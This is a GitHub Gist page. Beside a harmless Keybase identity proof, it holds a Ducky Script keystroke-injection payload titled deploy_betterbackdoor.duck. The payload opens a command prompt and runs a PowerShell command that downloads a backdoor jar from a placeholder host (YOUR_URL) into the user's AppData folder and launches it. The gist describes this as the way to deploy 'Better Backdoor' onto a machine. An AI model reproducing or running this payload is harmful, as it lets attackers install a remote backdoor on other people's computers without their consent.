Skip to content

Instantly share code, notes, and snippets.

View thatcherclough's full-sized avatar

Thatcher Clough thatcherclough

View GitHub Profile

Keybase proof

I hereby claim:

  • I am thatcherclough on github.
  • I am thatcherclough (https://keybase.io/thatcherclough) on keybase.
  • I have a public key ASAEttqV_t1louAKeCAHwEhiyf1EH7mfDExai98hdEHyVgo

To claim this, I am signing this object:

@thatcherclough
thatcherclough / deploy_betterbackdoor.duck
Created June 18, 2020 20:43
This is a Ducky Script that can be used to deploy Better Backdoor onto a machine. YOUR_URL must be replaced a URL thar is hosting the backdoor jar file (this can be a website or an IP address).
DELAY 1000
GUI R
DELAY 200
STRING cmd
ENTER
DELAY 300
STRING powershell -Command "&{Invoke-WebRequest http://YOUR_URL/run.jar -OutFile C:\Users\$env:UserName\AppData\run.jar; cd C:\Users\$env:UserName\AppData; start C:\Users\$env:UserName\AppData\run.jar; exit}" & exit
ENTER
DELAY 200
GUI DOWN